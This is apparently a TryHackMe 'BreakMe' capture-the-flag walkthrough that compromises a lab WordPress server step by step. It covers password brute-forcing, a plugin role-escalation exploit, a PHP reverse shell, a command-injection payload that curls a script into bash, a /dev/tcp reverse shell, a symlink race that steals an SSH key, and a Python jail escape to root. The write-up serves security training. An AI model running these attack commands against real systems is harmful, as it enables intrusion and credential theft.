THM Challenge — BreakMe

Break this secure system and get the flags, if you can.

Reconnaissance

Starting with an nmap on 10.10.215.63

nmap -sC -sV 10.10.215.63

Looking at the results we get 2 ports open.

• 22/SSH OpenSSH — open
• 80/HTTP Apache — open

Enumeration

we took a look to the web application running at port 80 on google.

there may be hidden directries inside so to find it i used gobuster

gobuster dir -u http://10.10.215.63/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -t 100 -r -b 404,403

There are 2 hidden directories found:

• /manual
• /wordpress

The /wordpress directory catches interest but not much information is found looking at the website

So we decided to run WP-Scan to dig deeper into it and enumerate users and all plugins on the website.

wpscan --url http://10.10.215.63/wordpress -e u,ap

From the output, two things stand out.

First, the wp-data-access v5.3.5 plugin is installed. which is outdated.

Second, we found 2 users — admin and bob

Brute-forcing the Credentials

Since we discovered the usernames, we can try brute-forcing the credentials for the users.

Once again, we can use wpscan for this.

 wpscan --url http://10.10.215.63/wordpress -e u --passwords /usr/share/wordlists/rockyou.txt

WordPress Privilege Escalation

After logging in, we are redirected to http://10.10.225.113/wordpress/wp-admin/profile.php, where we see that we don’t have many privileges.

Now, going back to our initial enumeration, we noted that the wp-data-access v5.3.5 plugin is installed. After looking for vulnerabilities in it, we found this article, which explains that a vulnerability in WP Data Access allows unauthorized users to modify their roles. To do this, all they need to do is supply the wpda_role[] parameter during a profile update.

To exploit this, we will intercept the profile update request using Burp and append &wpda_role[]=administrator to our request data as follows:

We give ourselves the administrator role. If we make a mistake with the parameter and enter it incorrectly, we are locked out, can no longer access the dashboard, and have to restart the machine.

We resolve the interception and are redirected to the admin dashboard after updating the profile. We are admin and can do everything. We are now not dependent on further vulnerabilities.

Here we first set the template to Twenty-Twenty Four, because this has a PHP template for the patterns/footer.php page. We select this and then replace everything with the reverse shell content revshells.com (select PHP pentest Monkey). we will replace the ip with the tunnel ip we have recieved through vpn and port is any (here 9002)

Once done, we set up our netcat listener nc -lnvp 9002and go to http://10.10.35.27/wordpress/wp-content/themes/twentytwentyfour/patterns/footer.php

And that’s when we catch a reverse shell!

python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm

ctrl +Z

stty raw -echo && fg

id

Checking the /home, we discover two users on the machine: john and youcef.

i moved into the john directory and wanted to open the user1.txt but the permission is denied.

After looking for a while we couldn’t find anything interesting as www-data only an internal open port at 9999.

ss -tlnp

This seems to be another site, possibly an entry point to user john.

curl 127.0.0.1:9999

So we decided to port forward that using Chisel. Setting up a python web server to send it to the box we were able to forward that port into our machine to investigate it more.

on Attacker:

wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz
gzip -d chisel_1.10.1_linux_amd64.gz
chmod +x chisel_1.10.1_linux_amd64
python3 -m http.server
./chisel_1.10.1_linux_amd64 server -p 9005 --reverse &

on THM machine:

cd /tmp
wget http://10.17.11.157:8000/chisel_1.10.1_linux_amd64
chmod +x chisel_1.10.1_linux_amd64
./chisel_1.10.1_linux_amd64 client 10.17.11.157:9005 R:9999:127.0.0.1:9999 &

Checking http://127.0.0.1:9999/ we get a basic web app where we can Check a Target (alive or not), Check a User and Check for a File.

We enter a set of special characters in Check User and see that a small set is reflected. Not everything is removed. We also notice that the space character is removed.

!@#$%^&*()_+-={}[]|:;'"<>,.?/

We can already do something with the following set:

${}|:./

Command Injection

First thing we need to do is to create a bash reverse shell file and host it on a python web server.

#!/bin/bash
sh -i >& /dev/tcp/10.9.3.146/9001 0>&1

python3 -m http.server

Setting up a netcat listener on port 9001 and

nc -nlvp 9001

Injecting our payload: |curl${IFS}http://10.17.11.157:8000/payload1.sh|bash will get us our reverse shell!

Checking the user logged in

whoami

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
ctrl +Z
stty raw -echo && fg
cd ..
cat user1.txt

Gaining Shell of youcef

So basically the executable checks if a specified file can be read by a user with UID 1002. It ensures the file exists, is not a symbolic link, and does not contain “flag” or “id_rsa” in its name. If all conditions are met, it prints the file’s contents , otherwise, it displays error messages.

We need to bypass the filter and the only way to do that is through a race condition, more specifically a TOCTOU (Time of Check to Time of Use) vulnerability, the bug here is that between the time the checks are made and the time the file is opened, the state of the file can change. This is where the TOCTOU vulnerability comes into play, to break it down even more, if an attacker creates a symlink that points to a sensitive file (like in our case /home/youcef/.ssh/id_rsa), the checks will pass if the symlink does not contain “flag” or “id_rsa” in its name. However, if the attacker manages to change what the symlink points to before the actual read operation occurs, the program will inadvertently read the sensitive file.

Now that we understand where the vulnerability lie let’s exploit it, we first need to create an infinite loop in the background that creates a symlink, deletes it and then creates it once again.

In John's Shell:

while true; do ln -sf /home/youcef/.ssh/id_rsa symlink; rm symlink; touch symlink; done &

We now need to execute the readfile binary over and over again until we capture the private key using the following command.

In John's Shell:

for i in {1..30}; do /home/youcef/readfile symlink; done

repeat this command until you get the key

And at some point, bingo! we will see the private key popping.

Copy the key to the attacker machine with name ‘id_rsa’ and then change the permission

Copy the key

nano id_rsa

paste the copied key

chmod 600 id_rsa

A the file is encrypted, We generate a hash from the key using ssh2john.

ssh2john id_rsa > id_rsa.youcef.hash

john id_rsa.youcef.hash -w /usr/share/wordlists/rockyou.txt --format=ssh

We use the key and are able to login as youcef. In the home directory of youcef we find the second flag.

ssh -i id_rsa youcef@10.10.35.27
password= a123456

we go to .ssh directory and find the flag

Privilege Escalation (Root)

Once we’re on youcef’s account we checked for sudo permissions using sudo -l and we found a python script that we could run as root.

sudo /usr/bin/python3 /root/jail.py

breaking python jails:

print(__builtins__.__dict__['__IMPORT__'.casefold()]('OS'.casefold()).__dict__[f'SYSTEM'.casefold()]('ID'.casefold()))

print(__builtins__.__dict__['__IMPORT__'.casefold()]('OS'.casefold()).__dict__[f'SYSTEM'.casefold()]('BASH'.casefold()))

cd /root
ls -la
cat .root.txt